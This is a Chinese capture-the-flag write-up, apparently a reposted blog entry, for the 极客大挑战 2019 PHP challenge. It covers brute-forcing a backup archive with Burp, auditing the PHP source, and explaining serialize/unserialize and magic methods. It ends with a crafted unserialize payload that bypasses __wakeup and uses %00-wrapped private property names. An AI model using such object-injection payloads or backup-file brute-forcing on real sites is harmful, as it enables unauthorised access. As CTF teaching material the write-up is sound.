[极客大挑战 2019]PHP1

news2024/11/27 6:42:31

既然提到了备份网站估计也是存在着网站备份文件,可以先用御剑扫一下

啥都没扫出来,但是上回做文件备份的题目时收集了一些关于常用备份文件的文件名和后缀,可以直接使用burp抓包爆破,果然爆破出一个www.zip文件

访问下载好文件就有三个php文件,下面进行代码审计

访问index.php

首先访问一哈index.php 里面主要是网页代码,不过中间插了一段

包含了class.php文件

定义了一个存放GET请求方法的变量select

将select变量的值进行反序化为 PHP 对象 @表示忽略可能出现的错误信息

   <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

unserialize() 函数

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

语法结构
unserialize ($str )
$str:序列化的字符串
如果传递的字符串不可解序列化,则返回 FALSE,并抛出异常

如果不可解序列化,则返回false

serialize() 函数

serialize() 函数用于序列化对象或数组,并返回一个字符串。

serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

语法
serialize ($value )
$value: 要序列化的对象或数组。

可以看到,当序列化以后输出的结果是一串字符。

a:表示一个数组,由array首字符表示,例如int序列化后回显就是i

4:表示数组的元素个数为4

{}:数组元素的集合(下标 +元素)

i:表示是整型,0:表示元素内容,这里是数组下标

s:表示类型为字符串,长度为6,内容为:Google

访问class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

首先导入flag.php文件,定义了一个叫Name的类,声明了两个私有变量(顾名思义:变量属性或方法只能在Name类中使用)

__construct

构造函数(也称为构造器)是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用。代码中用到了 $this,它表示当前调用的对象,而且 $this 只能在类的方法中使用

以下代码大致的意思就是:

定义了一个名为Web的类,该类有三个属性:name、url和title,以及一个构造函数__construct()。构造函数在创建Website对象时自动调用,它接受三个参数并将它们分别赋值给类的属性。

构造函数还调用了类的另一个方法ec(),该方法会输出对象的属性值。

最后,创建了一个Web对象$object,并传入了三个参数。在构造函数中,$object的属性被赋值并输出。因为类无法直接访问,需要得到类的具体对象才能访问,可以通过实例化new来实现对象的创建

__wakeup()

__wakeup():当类外部使用`unserialize()` 时,会检查是否存在一个 `__wakeup()` 方法。如果存在,则会先调用 `__wakeup` 方法,预先准备对象需要的资源。

作用:
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
这里的作用就是先将username赋值,使我们传入的username永远为guest

__destruct():

析构函数/方法,析构函数的作用和构造函数正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。

作用:
这里的作用是,在wakeup函数调用完后,进行判断,如果password不为100为真:抛出错误回显,并利用die()函数退出当前脚本
如果为假,也就是password=100,接着强类型比较username是否=== admin 如果为真就打印flag

所以到现在为止,唯一的问题就是当我们给username赋值后,因为脚本引用了unserialize() 函数,所以,wakeup方法将会再给username赋值为guest,我们得想方法绕过

经过查看wp得知,在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct

但是好像是因为我PHP版本有点高所以不受影响,不能展示了,直接构造吧

解题步骤

首先我们需要获取传入参数的序列化字符串

然后赋值字符串,构造payload,但是并没有成功

?select=O:4:"Name":3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}

查看wp后得到有关私有变量的解释

public 、public、protected

类中的 公有、私有、受保护成员

  • public 表示全局,类内部外部子类都可以访问;

  • private表示私有的,只有本类内部可以使用;

  • protected表示受保护的,只有本类或子类或父类中可以访问;

不同的访问修饰符对应的序列化也有不同。

各访问修饰符序列化后的区别:

  • public:属性被序列化的时候属性名还是原来的属性名,没有任何改变

  • protected:属性被序列化的时候属性名会变成\0*\0字段名

  • private:属性被序列化的时候属性名会变成\0类名\0字段名

所以我们重新构造payload,这里利用%00表示\0

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/577776.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电子科技大学编译原理复习笔记(四):程序语言的设计

目录 前言 重点一览 语言的定义 比较&#xff1a;生成观点与识别观点 语义又该怎么描述&#xff1f; 符号串 符号串集合 ⭐文法&#xff08;超重点&#xff09; 定义 组成 表示 ⭐分类&#xff08;重点&#xff09; 文法产生的语言 ⭐短语、直接短语和句柄&…

幂等问题解决

什么是幂等性&#xff1f; 幂等&#xff08;idempotent、idempotence&#xff09;是一个数学与计算机学概念&#xff0c;常见于抽象代数中。 在数学中&#xff0c;主要有两个定义 如果在一元运算中&#xff0c;x 为某集合中的任意数&#xff0c;如果满足 f(f(x))f(x)&#xff0…

软件质量测试笔记-合工大

第一章 软件质量和测试背景 应从以下几个方面考虑软件质量&#xff1a; 软件结构功能与性能开发标准与文档 IEEE关于软件质量的定义&#xff1a; 系统&#xff0c;部件&#xff0c;过程满足规定需求的程度系统&#xff0c;部件&#xff0c;过程满足顾客或者用户需要的期望程…

vue css变量实现多主题皮肤切换

实现方式 多主题皮肤切换有很多种实现方式&#xff0c;可以用css预处理器实现&#xff0c;可以用js实现&#xff0c;其实最近简单的一种方式是用css变量(css variable)实现 单页面应用中&#xff0c;可以通过设置body的css变量爱控制整个系统的颜色&#xff0c;body添加一个属…

chatgpt赋能python:Python中的绝对值函数简介

Python中的绝对值函数简介 绝对值是数学中一个基本的概念&#xff0c;在Python中也有相应的函数来实现求绝对值&#xff0c;本文将为大家介绍Python中的绝对值函数及其使用方法。 什么是绝对值 绝对值是一个数的大小&#xff0c;与数本身的符号无关。即如果一个数为正数&…

chatgpt赋能python:自动填写在SEO中的作用

自动填写在SEO中的作用 在SEO中&#xff0c;关键词的密度是非常重要的一项指标。然而&#xff0c;如果手动填写关键词&#xff0c;不仅费时费力&#xff0c;还很容易出现错误。这时候&#xff0c;一款自动填写工具就能够提高效率&#xff0c;减少出错率&#xff0c;从而提高网…

chatgpt赋能python:Python生成Pyd文件的全面指南

Python生成Pyd文件的全面指南 介绍 在Python编程中&#xff0c;我们会发现在某些情况下需要使用C或其他高效语言来提高代码执行速度。在这种情况下&#xff0c;将Python和其他语言混合编程是一个不错的选择。 本指南将介绍如何使用Python生成Python定义的C扩展程序文件 (.py…

[论文分享] jTrans: Jump-Aware Transformer for Binary Code Similarity

jTrans: Jump-Aware Transformer for Binary Code Similarity [ISSTA 2022] 二进制代码相似性检测(Binary code similarity detection, BCSD)在漏洞检测、软件构件分析、逆向工程等领域具有重要应用。最近的研究表明&#xff0c;深度神经网络(DNNs)可以理解二进制代码的指令或…

Solidity基础四

あなたもきっと、誰かの奇跡 &#xff08;你也一定会是某个人的奇迹&#xff09; 目录 一、Solidity的结构体 1.结构体的实例化 2.结构体的基本使用 访问和修改结构体成员 3.结构体的修饰符 二、Solidity的映射 1.映射的基本使用 查询和修改某个value值 三、Solidit…

Jmeter下载安装---Windows系统

Jmeter下载安装---Windows系统 jmeter是什么Jmeter下载安装安装jmeter前置必须jdk8Jmeter下载 jmeter插件环境变量配置 jmeter是什么 Apache JMeter 是 Apache 组织基于 Java 开发的压力测试工具&#xff0c;用于对软件做压力测试&#xff1b;在接口及性能测试中广泛使用&…

如何使用JQuery实现Js二级联动和三级联动

前言&#xff1a;使用JQuery封装好的js方法来实现二级三级联动要比直接使用js来实现二级三级联动要简洁很多。所以说JQuery是个非常强大的、简单易用的、兼容性好的JavaScript库&#xff0c;已经成为前端开发人员不可缺少的一部分&#xff0c;是Web开发中最流行的JavaScript库之…

《Spring Guides系列学习》guide61 - guide65

要想全面快速学习Spring的内容&#xff0c;最好的方法肯定是先去Spring官网去查阅文档&#xff0c;在Spring官网中找到了适合新手了解的官网Guides&#xff0c;一共68篇&#xff0c;打算全部过一遍&#xff0c;能尽量全面的了解Spring框架的每个特性和功能。 接着上篇看过的gui…

mybatisplus递归传递多个参数 | mybatisplus传递多个参数获取层级数据 | mybatisplus传递多个参数获取树形数据

搜索关键字&#xff1a; mybatisplus关联查询传递参数|"select""树形结构"|"select""树形结构""传参"| "select""many""传参"| "select""column""传参" 1、…

chatgpt赋能python:用Python自动操作其他软件优化你的SEO

用Python自动操作其他软件优化你的SEO 作为一名有着10年Python编程经验的工程师&#xff0c;我了解到Python具有强大的自动化功能&#xff0c;可以帮助我们自动化执行任务&#xff0c;节省时间和精力。其中&#xff0c;自动操作其他软件应用案例极为常见&#xff0c;如此&…

C#自定义控件:提示未将对象引用设置到对象实例

一、概述 1、当自定义的控件在添加的时候提示&#xff1a;提示未将对象引用设置到对象实例&#xff1b;如下所示&#xff1a; 2、添加上的自定义控件提示&#xff1a;未将对象引用设置到对象实例&#xff1b;如下所示&#xff1a; 二、问题分析 分析1&#xff1a; 在项目中使…

关于“烫烫烫烫烫烫烫”的程序员笑话

环境 Microsoft Visual Studio Community 2022Windows 11 家庭中文版 笑话 小明在超市买了3瓶汽水&#xff0c;他先打开第0瓶汽水&#xff0c;咕咚咕咚喝光了&#xff0c;接着打开第1瓶汽水&#xff0c;又咕咚咕咚喝光了&#xff0c;然后又打开第2瓶汽水&#xff0c;咕咚咕咚…

运维实用脚本整理

运维实用脚本整理 Linux运维日常巡检脚本系统指标巡检脚本日常命令性能相关的命令进程相关的命令javadump.sh 常用工具一键部署安装常用lib库安装系统检查脚本SPN 日常巡查脚本ffmpeg脚本打开进程&#xff0c;并判断进程数量关闭进程 java jar包启动-剔除Pom中依赖Java jar包通…

SAP QM 检验批上的‘容器数’

近期遇到一个问题。项目上质量部门发现某个原料批次收货打印出来的样品标签数不对。经查发现收货后触发的检验批上的‘容器数’&#xff08;No.Containers&#xff09;为999&#xff0c;实际上此次收货的箱数有1500多。 对于栏位‘容器数’&#xff0c;SAP的官方帮助文档&#…

指针 --- C语言

目录 1.指针是什么 2.指针和指针类型 3.野指针 4.指针运算 5.指针和数组 6.二级指针 7.指针数组 1.指针是什么 为了更好地管理内存&#xff0c;把内存分为了1个个小小的内存单元&#xff0c;大小是一个字节&#xff0c;每个字节给一个编号&#xff0c;内存的编号就是地…

《Spring Guides系列学习》guide56 - guide60

要想全面快速学习Spring的内容&#xff0c;最好的方法肯定是先去Spring官网去查阅文档&#xff0c;在Spring官网中找到了适合新手了解的官网Guides&#xff0c;一共68篇&#xff0c;打算全部过一遍&#xff0c;能尽量全面的了解Spring框架的每个特性和功能。 接着上篇看过的gu…